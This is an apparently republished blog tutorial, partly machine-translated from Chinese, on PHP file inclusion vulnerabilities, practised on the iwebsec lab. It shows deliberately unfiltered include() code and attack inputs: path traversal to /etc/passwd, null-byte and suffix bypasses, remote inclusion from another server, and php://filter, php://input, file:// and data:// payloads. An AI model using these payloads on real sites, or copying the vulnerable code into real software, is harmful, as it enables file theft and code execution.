Web Security: The file contains a vulnerability test (to prevent hackers from exploiting this vulnerability.)

Web Security: File contains vulnerability tests.

The loopholes contained in the file are that programmers use some included functions (such as: php development language, include(), include_once(), require_once(), etc.) in order to facilitate their own development framework when developing the website, and include functions The variables in the file do not do some filtering or restriction, so that the user can control the data sent to the server, resulting in the file containing a loophole.


Table of contents:

Web Security: File contains vulnerability tests.

The file contains the execution rules for the vulnerability:

 The file contains vulnerability tests:

(1) The local file contains .

(2) The local file contains the bypass.

(3) The remote file contains .

(4) The remote file contains the bypass .

(5) php // filter pseudo-protocol.

(6) php // input pseudo-protocol.

(7) File:// pseudo-protocol utilization.

(8) data:// pseudo-protocol.


The file contains the execution rules for the vulnerability:

文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,
以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是
python,那就是python去执行文件里面的内容)
测试使用的靶场是:iwebsec 靶场

搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391

The file contains vulnerability tests:

(1) The local file contains .

原理:本地文件包含是通过浏览器包含Web服务器上的文件,这种漏洞是因为浏览器包含文件时没有
进行严格的过滤,导致允许遍历目录的字符注入浏览器中,然后进行执行.
代码审计:

<?php
	if(isset($_GET['filename'])){            // 可以查看没有进行任何过滤
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
?>
测试代码:(读取服务器中的 test.tst 文件,然后成功执行了文件中的代码.)

?filename=test.txt

测试代码:(如果不知道,服务器中的文件在哪,则使用../../../../../)(可以多加几个../)
然后再重新从一个文件,一步一步进行查看.

?filename=../../../../../etc/passwd


(2) The local file contains the bypass .

代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");        //可以看见只能使用指定后缀.(.html)
	}else{
		exit();
	}
?>
绕过限制指定后缀的方法:使用(%00)进行截断.
测试代码:

?filename=test.txt%00 

测试代码:

?filename=../../../../../etc/passwd%00


(3) The remote file contains .

远程文件包含就是通过URL的形式包含的其他服务器上面的文件,从而使目标主机执行恶意代码攻击.
代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                //可以看见没有任何过滤,可以直接远程包含攻击
	}else{
		exit();
	}
?>
测试代码:(添加另一个服务器的文件链接)

?filename=http://192.168.0.105:801/bgxg.txt


(4) The remote file contains the bypass .

代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename . ".html");         //可以看见只能使用指定后缀.(.html)
	}else{
		exit();
	}
?>
绕过限制指定后缀的方法:

(1) # 绕过 (%23)
 
(2) 空格 绕过 (%20)
测试代码:(添加另一个服务器的文件链接)(加 %23 【#】进行绕过限制)

?filename=http://192.168.0.105:801/bgxg.txt%23

测试代码:(添加另一个服务器的文件链接)(加 空格 【%20】进行绕过限制)

?filename=http://192.168.0.105:801/bgxg.txt%20


(5) php // filter pseudo-protocol.

php://filter 是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,常用于读取文件.
代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                    //可以看见没有任何过滤
	}else{
		exit();
	}
?>
测试代码:

?filename=php://filter/convert.base64-encode/resource=文件路径


(6) php // input pseudo-protocol.

php//input任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据.
代码审计:

代码 1: (如果是 GET 方式,php://input 就可以用了)

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);                    //可以看见没有任何过滤
	}else{
		exit();
	}
?>

代码 2:(如果是 POST 方式,php://input 就不能用了)

<?php
    echo file_get_contents("php://input");
?>
测试代码:

?filename=php://input 

<?php phpinfo(); ?>        //显示服务器信息.


(7) File:// pseudo-protocol utilization.

代码审计:

<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
?>
测试代码:(?filename=file:///文件路径)

?filename=file:///etc/passwd


(8) data:// pseudo-protocol.

主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码.
?filename=data://text/plain;base64,(base64编码后数据)

<?php phpinfo();?>         base64编码后       PD9waHAgcGhwaW5mbygpOz8+

base64编码 在线工具:https://c.runoob.com/front-end/693/

然后再把 +  url编码 变为 %2b

测试代码:

?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

     

    

   

Guess you like

Origin blog.csdn.net/weixin_54977781/article/details/130792628